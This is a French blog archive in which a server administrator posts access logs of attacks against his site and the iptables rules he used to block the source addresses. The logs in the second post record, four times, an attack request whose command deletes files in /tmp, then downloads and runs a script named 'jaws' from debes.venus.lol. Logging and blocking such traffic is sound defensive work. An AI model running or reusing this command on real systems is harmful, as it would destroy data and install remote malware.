Archives de catégorie : Sécurité

Nouvelle attaque sur Ngnix : /owa/auth/logon.aspx?url=https://1/ecp/

Publié le par
Répondre

Voici les logs :

# grep "/owa/auth/logon.aspx" /var/log/apache2/access.humhub.log*
192.241.224.104 - - [21/Jan/2021:03:47:56 +0100] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 404 3436 "-" "Mozilla/5.0 zgrab/0.x"
192.241.206.242 - - [20/Jan/2021:03:14:29 +0100] "GET /owa/auth/logon.aspx?url=https%3a%2f%2f1%2fecp%2f HTTP/1.1" 404 3534 "-" "Mozilla/5.0 zgrab/0.x"

Je vais donc bloquer les IP :

# iptables -A INPUT -s 192.241.224.104 -j DROP
# iptables -A INPUT -s 192.241.206.242 -j DROP
# iptables-save > /etc/iptables/rules.v4

Propriété de l’adresse IP 192.241.206.242

Localisation États-Unis
Réputation 100 %
Anonymat Aucun détection
Usage Attribué
Source ARIN
Nom d’hote zg-1218a-142.stretchoid.com

Propriété de l’adresse IP 192.241.224.104

Localisation États-Unis
Réputation 86 %
Anonymat Aucun détection
Usage Attribué
Source ARIN
Nom d’hote zg-1218c-277.stretchoid.com

Nouvelle attaque sur Ngnix : debes.venus.lol

Publié le par
1

Voici les logs :

# grep "GET /shell" /var/log/apache2/access.humhub.log
156.197.215.223 - - [21/Jan/2021:07:58:51 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"
178.129.246.3 - - [20/Jan/2021:03:00:09 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"
46.209.56.107 - - [20/Jan/2021:16:43:59 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"
156.216.50.199 - - [20/Jan/2021:18:35:35 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+ debes.venus.lol/jaws;sh+/tmp/jaws" 400 0 "-" "-"

Je vais donc bloquer les deux IP 178.129.246.3 & 46.209.56.107.

# iptables -A INPUT -s 178.129.246.3 -j DROP
# iptables -A INPUT -s 156.197.215.223 -j DROP
# iptables -A INPUT -s 46.209.56.107 -j DROP
# iptables -A INPUT -s 156.216.50.199 -j DROP
# iptables-save > /etc/iptables/rules.v4

Propriété de l’adresse IP 46.209.56.107

Localisation Iran
Réputation 86 %
Anonymat Aucun détection
Usage Attribué
Source RIPE NCC
Nom d’hote 46.209.56.107

Propriété de l’adresse IP 178.129.246.3

Localisation Russie
Réputation 29 %
Anonymat Aucun détection
Usage Attribué
Source RIPE NCC
Nom d’hote h178-129-246-3.dyn.bashtel.ru

Propriété de l’adresse IP 156.197.215.223

Localisation Égypte
Réputation 71 %
Anonymat Aucun détection
Usage Attribué
Source AfriNIC
Nom d’hote host-156.197.223.215-static.tedata.net

Propriété de l’adresse IP 156.216.50.199

Localisation Égypte
Réputation 71 %
Anonymat Aucun détection
Usage Attribué
Source AfriNIC
Nom d’hote host-156.216.199.50-static.tedata.net

IPtable : Conseil sur les forums

Publié le par
Répondre

Sur les forums il est conseillé de filtrer :

# iptables -A INPUT -s 61.40.0.0/16 -j DROP
# iptables -A INPUT -s 66.210.251.136/32 -j DROP
# iptables -A INPUT -s 202.215.160.75/32 -j DROP

Japan Network Information Center : 202.215.160.75/32
Cox : 66.210.251.136/32 : http://ipv4info.com/domains-in-block/scb470e/66.210.240.0-66.210.255.255.html ( Je pense que c’est contre le SPAM )

A suivre.

My Current iptable-save to filter some IP

Publié le par
2

My Current iptable-save :

# cat /etc/iptables/rules.v4 
# Generated by xtables-save v1.8.2 on Tue Dec  1 17:22:33 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A INPUT -s 112.126.90.41/32 -j DROP
-A INPUT -s 116.147.2.110/32 -j DROP
-A INPUT -s 122.14.209.13/32 -j DROP
-A INPUT -s 158.69.13.199/32 -j DROP
-A INPUT -s 193.112.88.67/32 -j DROP
-A INPUT -s 210.21.218.26/32 -j DROP
-A INPUT -s 223.75.249.2/32 -j DROP
-A INPUT -s 27.50.160.35/32 -j DROP
-A INPUT -s 49.233.63.234/32 -j DROP
-A INPUT -s 91.242.37.16/32 -j DROP
-A INPUT -s 103.87.167.253/32 -j DROP
-A INPUT -s 113.160.229.252/32 -j DROP
-A INPUT -s 113.160.229.252/32 -j DROP
-A INPUT -s 123.201.235.83/32 -j DROP
-A INPUT -s 156.221.147.68/32 -j DROP
-A INPUT -s 171.236.213.49/32 -j DROP
-A INPUT -s 176.240.226.165/32 -j DROP
-A INPUT -s 202.90.133.210/32 -j DROP
-A INPUT -s 216.104.201.88/32 -j DROP
-A INPUT -s 175.172.174.191/32 -j DROP
-A INPUT -s 123.132.65.176/32 -j DROP
-A INPUT -s 103.145.13.43/32 -j DROP
-A INPUT -s 175.21.153.128/32 -j DROP
-A INPUT -s 178.63.34.189/32 -j DROP
-A INPUT -s 74.120.14.36/32 -j DROP
-A INPUT -s 34.240.212.8/32 -j DROP
-A INPUT -s 167.248.133.52/32 -j DROP
-A INPUT -s 162.142.125.52/32 -j DROP
-A INPUT -s 197.53.220.102/32 -j DROP
-A INPUT -s 134.209.87.169/32 -j DROP
-A INPUT -s 66.151.211.226/32 -j DROP
COMMIT
# Completed on Tue Dec  1 17:22:33 2020

On debian it’s necessary to install :

# apt-get install iptables-persistent
Lecture des listes de paquets... Fait
Construction de l'arbre des dépendances       
Lecture des informations d'état... Fait
Les paquets supplémentaires suivants seront installés : 
  netfilter-persistent
Les NOUVEAUX paquets suivants seront installés :
  iptables-persistent netfilter-persistent
0 mis à jour, 2 nouvellement installés, 0 à enlever et 2 non mis à jour.
Il est nécessaire de prendre 21,8 ko dans les archives.
Après cette opération, 80,9 ko d'espace disque supplémentaires seront utilisés.
Souhaitez-vous continuer ? [O/n] O
Réception de :1 http://ftp2.fr.debian.org/debian buster/main amd64 netfilter-persistent all 1.0.11 [10,1 kB]
Réception de :2 http://ftp2.fr.debian.org/debian buster/main amd64 iptables-persistent all 1.0.11 [11,7 kB]
21,8 ko réceptionnés en 0s (82,8 ko/s)         
Préconfiguration des paquets...
Sélection du paquet netfilter-persistent précédemment désélectionné.
(Lecture de la base de données... 122784 fichiers et répertoires déjà installés.)
Préparation du dépaquetage de .../netfilter-persistent_1.0.11_all.deb ...
Dépaquetage de netfilter-persistent (1.0.11) ...
Sélection du paquet iptables-persistent précédemment désélectionné.
Préparation du dépaquetage de .../iptables-persistent_1.0.11_all.deb ...
Dépaquetage de iptables-persistent (1.0.11) ...
Paramétrage de netfilter-persistent (1.0.11) ...
Created symlink /etc/systemd/system/multi-user.target.wants/netfilter-persistent.service → /lib/systemd/system/netfilter-persistent.service.
Paramétrage de iptables-persistent (1.0.11) ...
Traitement des actions différées (« triggers ») pour man-db (2.8.5-2) ...
Traitement des actions différées (« triggers ») pour systemd (241-7~deb10u4) ...